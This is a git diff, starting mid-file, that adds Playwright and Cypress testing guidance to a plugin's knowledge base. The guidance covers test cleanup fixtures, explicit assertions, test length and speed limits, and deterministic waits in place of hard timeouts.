+test('admin can create user - POLLUTES STATE', async ({ page, apiRequest }) => {
+  await page.goto('/admin/users');
+
+  // Hardcoded email - collides in parallel runs
+  await page.fill('[data-testid="email"]', 'newuser@example.com');
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // NO CLEANUP - user remains in database
+  // Next test run fails: "Email already exists"
+});
+
+// ✅ GOOD: Test cleans up with fixture auto-cleanup
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { deleteRecord, seedDatabase } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id); // Track for cleanup
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+});
+
+// Use the fixture
+test('admin can create user', async ({ page, seedUser }) => {
+  // Create admin with unique data
+  const admin = await seedUser({
+    email: faker.internet.email(), // Unique each run
+    role: 'admin',
+  });
+
+  await page.goto('/admin/users');
+
+  const newUserEmail = faker.internet.email(); // Unique
+  await page.fill('[data-testid="email"]', newUserEmail);
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // Verify in database
+  const createdUser = await seedUser({ email: newUserEmail });
+  expect(createdUser.email).toBe(newUserEmail);
+
+  // Auto-cleanup happens via fixture teardown
+});
+
+// Cypress equivalent with explicit cleanup
+describe('Admin User Management', () => {
+  const createdUserIds: string[] = [];
+
+  afterEach(() => {
+    // Cleanup: Delete all users created during test
+    createdUserIds.forEach((userId) => {
+      cy.task('db:delete', { table: 'users', id: userId });
+    });
+    createdUserIds.length = 0;
+  });
+
+  it('should create user', () => {
+    const admin = createUser({ role: 'admin' });
+    const newUser = createUser(); // Unique data via faker
+
+    cy.task('db:seed', { users: [admin] }).then((result: any) => {
+      createdUserIds.push(result.users[0].id);
+    });
+
+    cy.visit('/admin/users');
+    cy.get('[data-cy="email"]').type(newUser.email);
+    cy.get('[data-cy="name"]').type(newUser.name);
+    cy.get('[data-cy="create-user"]').click();
+
+    cy.contains('User created').should('be.visible');
+
+    // Track for cleanup
+    cy.task('db:findByEmail', newUser.email).then((user: any) => {
+      createdUserIds.push(user.id);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Use fixtures with auto-cleanup via teardown (after `use()`)
+- Track all created resources in array during test execution
+- Use `faker` for unique data - prevents parallel collisions
+- Cypress: Use `afterEach()` with explicit cleanup
+- Never hardcode IDs or emails - always generate unique values
+
+### Example 3: Explicit Assertions in Tests
+
+**Context**: When validating test results, keep assertions visible in test bodies. Never hide assertions in helper functions - this obscures test intent and makes failures harder to diagnose.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Assertions hidden in helper functions
+// helpers/api-validators.ts
+export async function validateUserCreation(response: Response, expectedEmail: string) {
+  const user = await response.json();
+  expect(response.status()).toBe(201);
+  expect(user.email).toBe(expectedEmail);
+  expect(user.id).toBeTruthy();
+  expect(user.createdAt).toBeTruthy();
+  // Hidden assertions - not visible in test
+}
+
+test('create user via API - OPAQUE', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // What assertions are running? Have to check helper.
+  await validateUserCreation(response, userData.email);
+  // When this fails, error is: "validateUserCreation failed" - NOT helpful
+});
+
+// ✅ GOOD: Assertions explicit in test
+test('create user via API', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // All assertions visible - clear test intent
+  expect(response.status()).toBe(201);
+
+  const createdUser = await response.json();
+  expect(createdUser.id).toBeTruthy();
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.name).toBe(userData.name);
+  expect(createdUser.role).toBe('user');
+  expect(createdUser.createdAt).toBeTruthy();
+  expect(createdUser.isActive).toBe(true);
+
+  // When this fails, error is: "Expected role to be 'user', got 'admin'" - HELPFUL
+});
+
+// ✅ ACCEPTABLE: Helper for data extraction, NOT assertions
+// helpers/api-extractors.ts
+export async function extractUserFromResponse(response: Response): Promise<User> {
+  const user = await response.json();
+  return user; // Just extracts, no assertions
+}
+
+test('create user with extraction helper', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // Extract data with helper (OK)
+  const createdUser = await extractUserFromResponse(response);
+
+  // But keep assertions in test (REQUIRED)
+  expect(response.status()).toBe(201);
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.role).toBe('user');
+});
+
+// Cypress equivalent
+describe('User API', () => {
+  it('should create user with explicit assertions', () => {
+    const userData = createUser({ email: 'test@example.com' });
+
+    cy.request('POST', '/api/users', userData).then((response) => {
+      // All assertions visible in test
+      expect(response.status).to.equal(201);
+      expect(response.body.id).to.exist;
+      expect(response.body.email).to.equal(userData.email);
+      expect(response.body.name).to.equal(userData.name);
+      expect(response.body.role).to.equal('user');
+      expect(response.body.createdAt).to.exist;
+      expect(response.body.isActive).to.be.true;
+    });
+  });
+});
+
+// ✅ GOOD: Parametrized tests for soft assertions (bulk validation)
+test.describe('User creation validation', () => {
+  const testCases = [
+    { field: 'email', value: 'test@example.com', expected: 'test@example.com' },
+    { field: 'name', value: 'Test User', expected: 'Test User' },
+    { field: 'role', value: 'admin', expected: 'admin' },
+    { field: 'isActive', value: true, expected: true },
+  ];
+
+  for (const { field, value, expected } of testCases) {
+    test(`should set ${field} correctly`, async ({ request }) => {
+      const userData = createUser({ [field]: value });
+
+      const response = await request.post('/api/users', { data: userData });
+      const user = await response.json();
+
+      // Parametrized assertion - still explicit
+      expect(user[field]).toBe(expected);
+    });
+  }
+});
+```
+
+**Key Points**:
+
+- Never hide `expect()` calls in helper functions
+- Helpers can extract/transform data, but assertions stay in tests
+- Parametrized tests are acceptable for bulk validation (still explicit)
+- Explicit assertions make failures actionable: "Expected X, got Y"
+- Hidden assertions produce vague failures: "Helper function failed"
+
+### Example 4: Test Length Limits
+
+**Context**: When tests grow beyond 300 lines, they become hard to understand, debug, and maintain. Refactor long tests by extracting setup helpers, splitting scenarios, or using fixtures.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 400-line monolithic test (truncated for example)
+test('complete user journey - TOO LONG', async ({ page, request }) => {
+  // 50 lines of setup
+  const admin = createUser({ role: 'admin' });
+  await request.post('/api/users', { data: admin });
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+  await expect(page).toHaveURL('/dashboard');
+
+  // 100 lines of user creation
+  await page.goto('/admin/users');
+  const newUser = createUser();
+  await page.fill('[data-testid="email"]', newUser.email);
+  // ... 95 more lines of form filling, validation, etc.
+
+  // 100 lines of permissions assignment
+  await page.click('[data-testid="assign-permissions"]');
+  // ... 95 more lines
+
+  // 100 lines of notification preferences
+  await page.click('[data-testid="notification-settings"]');
+  // ... 95 more lines
+
+  // 50 lines of cleanup
+  await request.delete(`/api/users/${newUser.id}`);
+  // ... 45 more lines
+
+  // TOTAL: 400 lines - impossible to understand or debug
+});
+
+// ✅ GOOD: Split into focused tests with shared fixture
+// playwright/support/fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page, request }, use) => {
+    // Shared setup: Login as admin
+    const admin = createUser({ role: 'admin' });
+    await request.post('/api/users', { data: admin });
+
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', admin.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login"]');
+    await expect(page).toHaveURL('/dashboard');
+
+    await use(page); // Provide logged-in page
+
+    // Cleanup handled by fixture
+  },
+});
+
+// Test 1: User creation (50 lines)
+test('admin can create user', async ({ adminPage, seedUser }) => {
+  await adminPage.goto('/admin/users');
+
+  const newUser = createUser();
+  await adminPage.fill('[data-testid="email"]', newUser.email);
+  await adminPage.fill('[data-testid="name"]', newUser.name);
+  await adminPage.click('[data-testid="role-dropdown"]');
+  await adminPage.click('[data-testid="role-user"]');
+  await adminPage.click('[data-testid="create-user"]');
+
+  await expect(adminPage.getByText('User created')).toBeVisible();
+  await expect(adminPage.getByText(newUser.email)).toBeVisible();
+
+  // Verify in database
+  const created = await seedUser({ email: newUser.email });
+  expect(created.role).toBe('user');
+});
+
+// Test 2: Permission assignment (60 lines)
+test('admin can assign permissions', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}`);
+  await adminPage.click('[data-testid="assign-permissions"]');
+  await adminPage.check('[data-testid="permission-read"]');
+  await adminPage.check('[data-testid="permission-write"]');
+  await adminPage.click('[data-testid="save-permissions"]');
+
+  await expect(adminPage.getByText('Permissions updated')).toBeVisible();
+
+  // Verify permissions assigned
+  const response = await adminPage.request.get(`/api/users/${user.id}`);
+  const updated = await response.json();
+  expect(updated.permissions).toContain('read');
+  expect(updated.permissions).toContain('write');
+});
+
+// Test 3: Notification preferences (70 lines)
+test('admin can update notification preferences', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}/notifications`);
+  await adminPage.check('[data-testid="email-notifications"]');
+  await adminPage.uncheck('[data-testid="sms-notifications"]');
+  await adminPage.selectOption('[data-testid="frequency"]', 'daily');
+  await adminPage.click('[data-testid="save-preferences"]');
+
+  await expect(adminPage.getByText('Preferences saved')).toBeVisible();
+
+  // Verify preferences
+  const response = await adminPage.request.get(`/api/users/${user.id}/preferences`);
+  const prefs = await response.json();
+  expect(prefs.emailEnabled).toBe(true);
+  expect(prefs.smsEnabled).toBe(false);
+  expect(prefs.frequency).toBe('daily');
+});
+
+// TOTAL: 3 tests × 60 lines avg = 180 lines
+// Each test is focused, debuggable, and under 300 lines
+```
+
+**Key Points**:
+
+- Split monolithic tests into focused scenarios (<300 lines each)
+- Extract common setup into fixtures (auto-runs for each test)
+- Each test validates one concern (user creation, permissions, preferences)
+- Failures are easier to diagnose: "Permission assignment failed" vs "Complete journey failed"
+- Tests can run in parallel (isolated concerns)
+
+### Example 5: Execution Time Optimization
+
+**Context**: When tests take longer than 1.5 minutes, they slow CI pipelines and feedback loops. Optimize by using API setup instead of UI navigation, parallelizing independent operations, and avoiding unnecessary waits.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 4-minute test (slow setup, sequential operations)
+test('user completes order - SLOW (4 min)', async ({ page }) => {
+  // Step 1: Manual signup via UI (90 seconds)
+  await page.goto('/signup');
+  await page.fill('[data-testid="email"]', 'buyer@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.fill('[data-testid="confirm-password"]', 'password123');
+  await page.fill('[data-testid="name"]', 'Buyer User');
+  await page.click('[data-testid="signup"]');
+  await page.waitForURL('/verify-email'); // Wait for email verification
+  // ... manual email verification flow
+
+  // Step 2: Manual product creation via UI (60 seconds)
+  await page.goto('/admin/products');
+  await page.fill('[data-testid="product-name"]', 'Widget');
+  // ... 20 more fields
+  await page.click('[data-testid="create-product"]');
+
+  // Step 3: Navigate to checkout (30 seconds)
+  await page.goto('/products');
+  await page.waitForTimeout(5000); // Unnecessary hard wait
+  await page.click('[data-testid="product-widget"]');
+  await page.waitForTimeout(3000); // Unnecessary
+  await page.click('[data-testid="add-to-cart"]');
+  await page.waitForTimeout(2000); // Unnecessary
+
+  // Step 4: Complete checkout (40 seconds)
+  await page.goto('/checkout');
+  await page.waitForTimeout(5000); // Unnecessary
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  // ... more form filling
+  await page.click('[data-testid="submit-order"]');
+  await page.waitForTimeout(10000); // Unnecessary
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // TOTAL: ~240 seconds (4 minutes)
+});
+
+// ✅ GOOD: 45-second test (API setup, parallel ops, deterministic waits)
+test('user completes order', async ({ page, apiRequest }) => {
+  // Step 1: API setup (parallel, 5 seconds total)
+  const [user, product] = await Promise.all([
+    // Create user via API (fast)
+    apiRequest
+      .post('/api/users', {
+        data: createUser({
+          email: 'buyer@example.com',
+          emailVerified: true, // Skip verification
+        }),
+      })
+      .then((r) => r.json()),
+
+    // Create product via API (fast)
+    apiRequest
+      .post('/api/products', {
+        data: createProduct({
+          name: 'Widget',
+          price: 29.99,
+          stock: 10,
+        }),
+      })
+      .then((r) => r.json()),
+  ]);
+
+  // Step 2: Auth setup via storage state (instant, 0 seconds)
+  await page.context().addCookies([
+    {
+      name: 'auth_token',
+      value: user.token,
+      domain: 'localhost',
+      path: '/',
+    },
+  ]);
+
+  // Step 3: Network-first interception BEFORE navigation (10 seconds)
+  const cartPromise = page.waitForResponse('**/api/cart');
+  const orderPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto(`/products/${product.id}`);
+  await page.click('[data-testid="add-to-cart"]');
+  await cartPromise; // Deterministic wait (no hard wait)
+
+  // Step 4: Checkout with network waits (30 seconds)
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.fill('[data-testid="cvv"]', '123');
+  await page.fill('[data-testid="expiry"]', '12/25');
+  await page.click('[data-testid="submit-order"]');
+  await orderPromise; // Deterministic wait (no hard wait)
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText(`Order #${product.id}`)).toBeVisible();
+
+  // TOTAL: ~45 seconds (6x faster)
+});
+
+// Cypress equivalent
+describe('Order Flow', () => {
+  it('should complete purchase quickly', () => {
+    // Step 1: API setup (parallel, fast)
+    const user = createUser({ emailVerified: true });
+    const product = createProduct({ name: 'Widget', price: 29.99 });
+
+    cy.task('db:seed', { users: [user], products: [product] });
+
+    // Step 2: Auth setup via session (instant)
+    cy.setCookie('auth_token', user.token);
+
+    // Step 3: Network-first interception
+    cy.intercept('POST', '**/api/cart').as('addToCart');
+    cy.intercept('POST', '**/api/orders').as('createOrder');
+
+    cy.visit(`/products/${product.id}`);
+    cy.get('[data-cy="add-to-cart"]').click();
+    cy.wait('@addToCart'); // Deterministic wait
+
+    // Step 4: Checkout
+    cy.visit('/checkout');
+    cy.get('[data-cy="credit-card"]').type('4111111111111111');
+    cy.get('[data-cy="cvv"]').type('123');
+    cy.get('[data-cy="expiry"]').type('12/25');
+    cy.get('[data-cy="submit-order"]').click();
+    cy.wait('@createOrder'); // Deterministic wait
+
+    cy.contains('Order Confirmed').should('be.visible');
+    cy.contains(`Order #${product.id}`).should('be.visible');
+  });
+});
+
+// Additional optimization: Shared auth state (0 seconds per test)
+// playwright/support/global-setup.ts
+export default async function globalSetup() {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Create admin user once for all tests
+  const admin = createUser({ role: 'admin', emailVerified: true });
+  await page.request.post('/api/users', { data: admin });
+
+  // Login once, save session
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+
+  // Save auth state for reuse
+  await page.context().storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+// Use shared auth in tests (instant)
+test.use({ storageState: 'playwright/.auth/admin.json' });
+
+test('admin action', async ({ page }) => {
+  // Already logged in - no auth overhead (0 seconds)
+  await page.goto('/admin');
+  // ... test logic
+});
+```
+
+**Key Points**:
+
+- Use API for data setup (10-50x faster than UI)
+- Run independent operations in parallel (`Promise.all`)
+- Replace hard waits with deterministic waits (`waitForResponse`)
+- Reuse auth sessions via `storageState` (Playwright) or `setCookie` (Cypress)
+- Skip unnecessary flows (email verification, multi-step signups)
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation quality), `*automate` (test expansion quality), `*test-review` (quality validation)
+- **Related fragments**:
+  - `network-first.md` - Deterministic waiting strategies
+  - `data-factories.md` - Isolated, parallel-safe data patterns
+  - `fixture-architecture.md` - Setup extraction and cleanup
+  - `test-levels-framework.md` - Choosing appropriate test granularity for speed
+
+## Core Quality Checklist
+
+Every test must pass these criteria:
+
+- [ ] **No Hard Waits** - Use `waitForResponse`, `waitForLoadState`, or element state (not `waitForTimeout`)
+- [ ] **No Conditionals** - Tests execute the same path every time (no if/else, try/catch for flow control)
+- [ ] **< 300 Lines** - Keep tests focused; split large tests or extract setup to fixtures
+- [ ] **< 1.5 Minutes** - Optimize with API setup, parallel operations, and shared auth
+- [ ] **Self-Cleaning** - Use fixtures with auto-cleanup or explicit `afterEach()` teardown
+- [ ] **Explicit Assertions** - Keep `expect()` calls in test bodies, not hidden in helpers
+- [ ] **Unique Data** - Use `faker` for dynamic data; never hardcode IDs or emails
+- [ ] **Parallel-Safe** - Tests don't share state; run successfully with `--workers=4`
+
+_Source: Murat quality checklist, Definition of Done requirements (lines 370-381, 406-422)._
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/timing-debugging.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/timing-debugging.md
new file mode 100644
index 0000000..61ae919
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/timing-debugging.md
@@ -0,0 +1,372 @@
+# Timing Debugging and Race Condition Fixes
+
+## Principle
+
+Race conditions arise when tests make assumptions about asynchronous timing (network, animations, state updates). **Deterministic waiting** eliminates flakiness by explicitly waiting for observable events (network responses, element state changes) instead of arbitrary timeouts.
+
+## Rationale
+
+**The Problem**: Tests pass locally but fail in CI (different timing), or pass/fail randomly (race conditions). Hard waits (`waitForTimeout`, `sleep`) mask timing issues without solving them.
+
+**The Solution**: Replace all hard waits with event-based waits (`waitForResponse`, `waitFor({ state })`). Implement network-first pattern (intercept before navigate). Use explicit state checks (loading spinner detached, data loaded). This makes tests deterministic regardless of network speed or system load.
+
+**Why This Matters**:
+
+- Eliminates flaky tests (0 tolerance for timing-based failures)
+- Works consistently across environments (local, CI, production-like)
+- Faster test execution (no unnecessary waits)
+- Clearer test intent (explicit about what we're waiting for)
+
+## Pattern Examples
+
+### Example 1: Race Condition Identification (Network-First Pattern)
+
+**Context**: Prevent race conditions by intercepting network requests before navigation
+
+**Implementation**:
+
+```typescript
+// tests/timing/race-condition-prevention.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Race Condition Prevention Patterns', () => {
+  test('❌ Anti-Pattern: Navigate then intercept (race condition)', async ({ page, context }) => {
+    // BAD: Navigation starts before interception ready
+    await page.goto('/products'); // ⚠️ Race! API might load before route is set
+
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 200, body: JSON.stringify({ products: [] }) });
+    });
+
+    // Test may see real API response or mock (non-deterministic)
+  });
+
+  test('✅ Pattern: Intercept BEFORE navigate (deterministic)', async ({ page, context }) => {
+    // GOOD: Interception ready before navigation
+    await context.route('**/api/products', (route) => {
+      route.fulfill({
+        status: 200,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          products: [
+            { id: 1, name: 'Product A', price: 29.99 },
+            { id: 2, name: 'Product B', price: 49.99 },
+          ],
+        }),
+      });
+    });
+
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products'); // Navigation happens AFTER route is ready
+    await responsePromise; // Explicit wait for network
+
+    // Test sees mock response reliably (deterministic)
+    await expect(page.getByText('Product A')).toBeVisible();
+  });
+
+  test('✅ Pattern: Wait for element state change (loading → loaded)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for loading indicator to appear (confirms load started)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'visible' });
+
+    // Wait for loading indicator to disappear (confirms load complete)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+    // Content now reliably visible
+    await expect(page.getByTestId('dashboard-data')).toBeVisible();
+  });
+
+  test('✅ Pattern: Explicit visibility check (not just presence)', async ({ page }) => {
+    await page.goto('/modal-demo');
+
+    await page.getByRole('button', { name: 'Open Modal' }).click();
+
+    // ❌ Bad: Element exists but may not be visible yet
+    // await expect(page.getByTestId('modal')).toBeAttached()
+
+    // ✅ Good: Wait for visibility (accounts for animations)
+    await expect(page.getByTestId('modal')).toBeVisible();
+    await expect(page.getByRole('heading', { name: 'Modal Title' })).toBeVisible();
+  });
+
+  test('❌ Anti-Pattern: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ⚠️ Deprecated for SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // May timeout in SPAs
+
+    // ✅ Better: Wait for specific API response
+    const responsePromise = page.waitForResponse('**/api/dashboard');
+    await page.goto('/dashboard');
+    await responsePromise;
+
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Network-first: ALWAYS intercept before navigate (prevents race conditions)
+- State changes: Wait for loading spinner detached (explicit load completion)
+- Visibility vs presence: `toBeVisible()` accounts for animations, `toBeAttached()` doesn't
+- Avoid networkidle: Unreliable in SPAs (WebSocket, polling connections)
+- Explicit waits: Document exactly what we're waiting for
+
+---
+
+### Example 2: Deterministic Waiting Patterns (Event-Based, Not Time-Based)
+
+**Context**: Replace all hard waits with observable event waits
+
+**Implementation**:
+
+```typescript
+// tests/timing/deterministic-waits.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Deterministic Waiting Patterns', () => {
+  test('waitForResponse() with URL pattern', async ({ page }) => {
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products');
+    await responsePromise; // Deterministic (waits for exact API call)
+
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+
+  test('waitForResponse() with predicate function', async ({ page }) => {
+    const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/search') && resp.status() === 200);
+
+    await page.goto('/search');
+    await page.getByPlaceholder('Search').fill('laptop');
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    await responsePromise; // Wait for successful search response
+
+    await expect(page.getByTestId('search-results')).toBeVisible();
+  });
+
+  test('waitForFunction() for custom conditions', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for custom JavaScript condition
+    await page.waitForFunction(() => {
+      const element = document.querySelector('[data-testid="user-count"]');
+      return element && parseInt(element.textContent || '0') > 0;
+    });
+
+    // User count now loaded
+    await expect(page.getByTestId('user-count')).not.toHaveText('0');
+  });
+
+  test('waitFor() element state (attached, visible, hidden, detached)', async ({ page }) => {
+    await page.goto('/products');
+
+    // Wait for element to be attached to DOM
+    await page.getByTestId('product-list').waitFor({ state: 'attached' });
+
+    // Wait for element to be visible (animations complete)
+    await page.getByTestId('product-list').waitFor({ state: 'visible' });
+
+    // Perform action
+    await page.getByText('Product A').click();
+
+    // Wait for modal to be hidden (close animation complete)
+    await page.getByTestId('modal').waitFor({ state: 'hidden' });
+  });
+
+  test('Cypress: cy.wait() with aliased intercepts', async () => {
+    // Cypress example (not Playwright)
+    /*
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic wait for specific request
+
+    cy.get('[data-testid="product-list"]').should('be.visible')
+    */
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()`: Wait for specific API calls (URL pattern or predicate)
+- `waitForFunction()`: Wait for custom JavaScript conditions
+- `waitFor({ state })`: Wait for element state changes (attached, visible, hidden, detached)
+- Cypress `cy.wait('@alias')`: Deterministic wait for aliased intercepts
+- All waits are event-based (not time-based)
+
+---
+
+### Example 3: Timing Anti-Patterns (What NEVER to Do)
+
+**Context**: Common timing mistakes that cause flakiness
+
+**Problem Examples**:
+
+```typescript
+// tests/timing/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Timing Anti-Patterns to Avoid', () => {
+  test('❌ NEVER: page.waitForTimeout() (arbitrary delay)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Arbitrary 3-second wait (flaky)
+    // await page.waitForTimeout(3000)
+    // Problem: Might be too short (CI slower) or too long (wastes time)
+
+    // ✅ Good: Wait for observable event
+    await page.waitForResponse('**/api/dashboard');
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+
+  test('❌ NEVER: cy.wait(number) without alias (arbitrary delay)', async () => {
+    // Cypress example
+    /*
+    // ❌ Bad: Arbitrary delay
+    cy.visit('/products')
+    cy.wait(2000) // Flaky!
+
+    // ✅ Good: Wait for specific request
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic
+    */
+  });
+
+  test('❌ NEVER: Multiple hard waits in sequence (compounding delays)', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Bad: Stacked hard waits (6+ seconds wasted)
+    // await page.waitForTimeout(2000) // Wait for form
+    // await page.getByTestId('email').fill('test@example.com')
+    // await page.waitForTimeout(1000) // Wait for validation
+    // await page.getByTestId('submit').click()
+    // await page.waitForTimeout(3000) // Wait for redirect
+
+    // ✅ Good: Event-based waits (no wasted time)
+    await page.getByTestId('checkout-form').waitFor({ state: 'visible' });
+    await page.getByTestId('email').fill('test@example.com');
+    await page.waitForResponse('**/api/validate-email');
+    await page.getByTestId('submit').click();
+    await page.waitForURL('**/confirmation');
+  });
+
+  test('❌ NEVER: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ❌ Bad: Unreliable in SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // Timeout in SPAs!
+
+    // ✅ Good: Wait for specific API responses
+    await page.goto('/dashboard');
+    await page.waitForResponse('**/api/dashboard');
+    await page.waitForResponse('**/api/user');
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+  });
+
+  test('❌ NEVER: Sleep/setTimeout in tests', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Node.js sleep (blocks test thread)
+    // await new Promise(resolve => setTimeout(resolve, 2000))
+
+    // ✅ Good: Playwright auto-waits for element
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **Hard waits**: Arbitrary timeouts (too short → flaky, too long → slow)
+- **Stacked waits**: Compound delays (wasteful, unreliable)
+- **networkidle**: Broken in SPAs (WebSocket/polling never idle)
+- **Sleep**: Blocks execution (wastes time, doesn't solve race conditions)
+
+**Better Approach**: Use event-based waits from examples above
+
+---
+
+## Async Debugging Techniques
+
+### Technique 1: Promise Chain Analysis
+
+```typescript
+test('debug async waterfall with console logs', async ({ page }) => {
+  console.log('1. Starting navigation...');
+  await page.goto('/products');
+
+  console.log('2. Waiting for API response...');
+  const response = await page.waitForResponse('**/api/products');
+  console.log('3. API responded:', response.status());
+
+  console.log('4. Waiting for UI update...');
+  await expect(page.getByText('Products loaded')).toBeVisible();
+  console.log('5. Test complete');
+
+  // Console output shows exactly where timing issue occurs
+});
+```
+
+### Technique 2: Network Waterfall Inspection (DevTools)
+
+```typescript
+test('inspect network timing with trace viewer', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Generate trace for analysis
+  // npx playwright test --trace on
+  // npx playwright show-trace trace.zip
+
+  // In trace viewer:
+  // 1. Check Network tab for API call timing
+  // 2. Identify slow requests (>1s response time)
+  // 3. Find race conditions (overlapping requests)
+  // 4. Verify request order (dependencies)
+});
+```
+
+### Technique 3: Trace Viewer for Timing Visualization
+
+```typescript
+test('use trace viewer to debug timing', async ({ page }) => {
+  // Run with trace: npx playwright test --trace on
+
+  await page.goto('/checkout');
+  await page.getByTestId('submit').click();
+
+  // In trace viewer, examine:
+  // - Timeline: See exact timing of each action
+  // - Snapshots: Hover to see DOM state at each moment
+  // - Network: Identify slow/failed requests
+  // - Console: Check for async errors
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+---
+
+## Race Condition Checklist
+
+Before deploying tests:
+
+- [ ] **Network-first pattern**: All routes intercepted BEFORE navigation (no race conditions)
+- [ ] **Explicit waits**: Every navigation followed by `waitForResponse()` or state check
+- [ ] **No hard waits**: Zero instances of `waitForTimeout()`, `cy.wait(number)`, `sleep()`
+- [ ] **Element state waits**: Loading spinners use `waitFor({ state: 'detached' })`
+- [ ] **Visibility checks**: Use `toBeVisible()` (accounts for animations), not just `toBeAttached()`
+- [ ] **Response validation**: Wait for successful responses (`resp.ok()` or `status === 200`)
+- [ ] **Trace viewer analysis**: Generate traces to identify timing issues (network waterfall, console errors)
+- [ ] **CI/local parity**: Tests pass reliably in both environments (no timing assumptions)
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (healing timing failures), `*test-review` (detect hard wait anti-patterns), `*framework` (configure timeout standards)
+- **Related fragments**: `test-healing-patterns.md` (race condition diagnosis), `network-first.md` (interception patterns), `playwright-config.md` (timeout configuration), `visual-debugging.md` (trace viewer analysis)
+- **Tools**: Playwright Inspector (`--debug`), Trace Viewer (`--trace on`), DevTools Network tab
+
+_Source: Playwright timing best practices, network-first pattern from test-resources-for-ai, production race condition debugging_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/visual-debugging.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/visual-debugging.md
new file mode 100644
index 0000000..710ec46
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/visual-debugging.md
@@ -0,0 +1,527 @@
+# Visual Debugging and Developer Ergonomics
+
+## Principle
+
